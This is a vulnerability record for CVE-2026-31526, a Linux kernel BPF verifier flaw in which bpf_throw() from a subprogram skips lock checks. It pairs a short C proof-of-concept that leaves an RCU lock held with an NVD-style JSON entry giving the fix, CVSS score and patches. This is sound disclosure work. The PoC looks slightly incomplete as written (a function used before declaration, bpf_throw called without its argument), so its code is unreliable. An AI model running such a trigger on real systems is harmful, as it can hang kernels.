CVE-2026-31526

// SPDX-License-Identifier: GPL-2.0 #include <linux/bpf.h> #include <bpf/bpf_helpers.h> // This PoC demonstrates a BPF program that triggers the vulnerability // by calling bpf_throw() from a subprog while holding an RCU lock. SEC("socket") int main_prog(struct __sk_buff *skb) { // Acquire RCU lock in the main frame bpf_rcu_read_lock(); // Call a static subprogram that will throw an exception // In the vulnerable version, the lock check is skipped during unwind vulnerable_subprog(); // This unlock is never reached due to the exception bpf_rcu_read_unlock(); return 0; } static __noinline int vulnerable_subprog(void) { // Trigger exception exit from subprog // This bypasses normal frame cleanup, leaving RCU lock active bpf_throw(); return 0; } char _license[] SEC("license") = "GPL";

{"cve": {"id": "CVE-2026-31526", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:52.763", "lastModified": "2026-04-28T18:04:24.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix exception exit lock checking for subprogs\n\nprocess_bpf_exit_full() passes check_lock = !curframe to\ncheck_resource_leak(), which is false in cases when bpf_throw() is\ncalled from a static subprog. This makes check_resource_leak() to skip\nvalidation of active_rcu_locks, active_preempt_locks, and\nactive_irq_id on exception exits from subprogs.\n\nAt runtime bpf_throw() unwinds the stack via ORC without releasing any\nuser-acquired locks, which may cause various issues as the result.\n\nFix by setting check_lock = true for exception exits regardless of\ncurframe, since exceptions bypass all intermediate frame\ncleanup. Update the error message prefix to \"bpf_throw\" for exception\nexits to distinguish them from normal BPF_EXIT.\n\nFix reject_subprog_with_rcu_read_lock test which was previously\npassing for the wrong reason. Test program returned directly from the\nsubprog call without closing the RCU section, so the error was\ntriggered by the unclosed RCU lock on normal exit, not by\nbpf_throw. Update __msg annotations for affected tests to match the\nnew \"bpf_throw\" error prefix.\n\nThe spin_lock case is not affected because they are already checked [1]\nat the call site in do_check_insn() before bpf_throw can run.\n\n[1] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/kernel/bpf/verifier.c?h=v7.0-rc4#n21098"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-667"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.18.21", "matchCriteriaId": "360DD289-F962-4797-9A3C-FD8C4CE9DF15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5a399f3117642494e35545f6ca397d3e177c1f9b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6c2128505f61b504c79a20b89596feba61388112", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c0281da1f2aa5c2fca3a05f79b86bea96591c358", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}